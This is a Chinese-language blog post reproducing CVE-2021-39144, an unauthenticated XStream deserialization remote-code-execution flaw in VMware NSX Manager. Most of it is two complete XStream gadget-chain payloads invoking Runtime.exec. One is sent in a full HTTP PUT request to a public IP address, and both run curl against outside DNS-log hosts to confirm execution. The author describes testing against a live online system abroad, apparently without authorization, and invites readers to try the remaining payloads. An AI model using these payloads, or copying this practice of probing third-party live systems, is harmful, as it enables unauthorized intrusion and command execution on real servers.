VMware NSX Manager XStream unauthenticated反序列化漏洞 CVE-2021-39144 已亲自复现

VMware NSX Manager XStream unauthenticated 反序列化漏洞 CVE-2021-39144 已亲自复现

漏洞名称

漏洞描述

在Unmarshalling Time处包含用于重新创建前一对象的类型信息。XStream基于这些类型的信息创建新实例。攻击者可以控制输入流并替换或注入对象,这会导致在服务器上执行本地命令。

影响版本

XStream <= 1.4.17

漏洞复现

环境搭建

title="VMware Appliance Management"

找不到线下的环境,国外线上环境测试,访问页面。
在这里插入图片描述

漏洞利用

PUT /api/2.0/services/usermgmt/password/abc HTTP/1.1
Host: 45.11.217.69
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 558

<java.util.PriorityQueue serialization="custom">
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class="sun.tracing.NullProvider">
                <active>true</active>
                <providerType>java.lang.Comparable</providerType>
                <probes>
                    <entry>
                        <method>
                            <class>java.lang.Comparable</class>
                            <name>compareTo</name>
                            <parameter-types>
                                <class>java.lang.Object</class>
                            </parameter-types>
                        </method>
                        <sun.tracing.dtrace.DTraceProbe>
                            <proxy class="java.lang.Runtime"/>
                            <implementing__method>
                                <class>java.lang.Runtime</class>
                                <name>exec</name>
                                <parameter-types>
                                    <class>java.lang.String</class>
                                </parameter-types>
                            </implementing__method>
                        </sun.tracing.dtrace.DTraceProbe>
                    </entry>
                </probes>
            </handler>
        </dynamic-proxy>
        <string>curl http://hernandez.wagner-jackson.martin-barnes.com</string>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

在这里插入图片描述
查看DNS Log成功获取命令执行结果,如图:
在这里插入图片描述
测试到此为止,线上环境。其余payload自行测试。

payloa2

Content-Type: application/xml

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Comparable</providerType>
<probes>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='java.lang.Runtime'/>
<implementing__method>
<class>java.lang.Runtime</class>
<name>exec</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</handler>
</dynamic-proxy>
<string>curl http://2345.mjo1hm.ceye.io</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

修复建议

XStream 任意代码执行漏洞—关注厂商的主页以获取最新版本1.4.19
补丁链接:https://x-stream.github.io/download.html

总结

如果攻击成功,在响应头中返回的状态码为400,响应体无回显。

  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值